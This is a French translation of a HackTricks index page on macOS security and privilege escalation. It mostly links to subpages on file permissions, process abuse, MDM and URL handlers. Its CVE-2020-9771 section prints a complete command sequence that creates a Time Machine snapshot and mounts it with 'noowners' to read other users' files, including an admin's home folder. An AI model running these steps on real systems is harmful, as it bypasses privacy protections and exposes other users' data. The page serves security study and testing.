hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-06-13 10:42:48 +00:00
..
mac-os-architecture Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p 2023-06-13 10:42:48 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-13 00:36:22 +00:00
macos-files-folders-and-binaries Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-08 17:55:49 +00:00
macos-mdm Translated to French 2023-06-03 13:10:46 +00:00
macos-proces-abuse Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p 2023-06-13 10:22:20 +00:00
macos-security-protections Translated ['backdoors/salseo.md', 'macos-hardening/macos-security-and-p 2023-06-13 10:42:48 +00:00
macos-applefs.md Translated to French 2023-06-03 13:10:46 +00:00
macos-basic-objective-c.md Translated to French 2023-06-03 13:10:46 +00:00
macos-bypassing-firewalls.md Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-10 23:58:31 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md Translated to French 2023-06-03 13:10:46 +00:00
macos-file-extension-apps.md Translated ['macos-hardening/macos-security-and-privilege-escalation/REA 2023-06-10 11:19:32 +00:00
macos-protocols.md Translated ['README.md', 'macos-hardening/macos-security-and-privilege-e 2023-06-10 23:58:31 +00:00
macos-red-teaming.md Translated to French 2023-06-03 13:10:46 +00:00
macos-users.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-13 00:36:22 +00:00

Sécurité et élévation de privilèges sur macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

Base de MacOS

Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS :

  • Fichiers et autorisations spéciaux de macOS :

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Utilisateurs courants de macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • L'architecture du noyau

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Services et protocoles réseau courants de macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

Dans les entreprises, les systèmes macOS sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir comment cela fonctionne :

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - Inspection, débogage et fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Protections de sécurité de MacOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Surface d'attaque

Autorisations de fichier

Si un processus s'exécutant en tant que root écrit un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait l'utiliser pour escalader les privilèges.
Cela pourrait se produire dans les situations suivantes :

  • Le fichier utilisé a été créé par un utilisateur (appartenant à l'utilisateur)
  • Le fichier utilisé est accessible en écriture par l'utilisateur en raison d'un groupe
  • Le fichier utilisé est à l'intérieur d'un répertoire appartenant à l'utilisateur (l'utilisateur pourrait créer le fichier)
  • Le fichier utilisé est à l'intérieur d'un répertoire appartenant à root mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur pourrait créer le fichier)

Être capable de créer un fichier qui va être utilisé par root, permet à un utilisateur de tirer parti de son contenu ou même de créer des liens symboliques/hardlinks pour le pointer vers un autre endroit.

Pour ce type de vulnérabilités, n'oubliez pas de vérifier les installateurs .pkg vulnérables :

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abus de privilèges et d'attributions via l'abus de processus

Si un processus peut injecter du code dans un autre processus avec des privilèges ou des attributions supérieurs ou le contacter pour effectuer des actions de privilèges, il peut escalader les privilèges et contourner les mesures de défense telles que Sandbox ou TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Extensions de fichier et gestionnaires d'applications de schéma d'URL

Des applications étranges enregistrées par des extensions de fichier peuvent être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Élévation de privilèges sur MacOS

CVE-2020-9771 - Contournement de TCC et élévation de privilèges de mount_apfs

N'importe quel utilisateur (même non privilégié) peut créer et monter une capture d'écran de Time Machine et accéder à TOUS les fichiers de cette capture d'écran.
Le seul privilège nécessaire est que l'application utilisée (comme Terminal) ait un accès Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles) qui doit être accordé par un administrateur.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Une explication plus détaillée peut être trouvée dans le rapport original.

Informations sensibles

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

Tout d'abord, veuillez noter que la plupart des astuces sur l'élévation de privilèges affectant Linux/Unix affecteront également les machines MacOS. Voir donc :

{% content-ref url="../../linux-hardening/privilege-escalation/" %} élévation de privilèges {% endcontent-ref %}

Références

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lire les tutoriels de bugs web3

🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs

💬 Participer aux discussions de la communauté

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥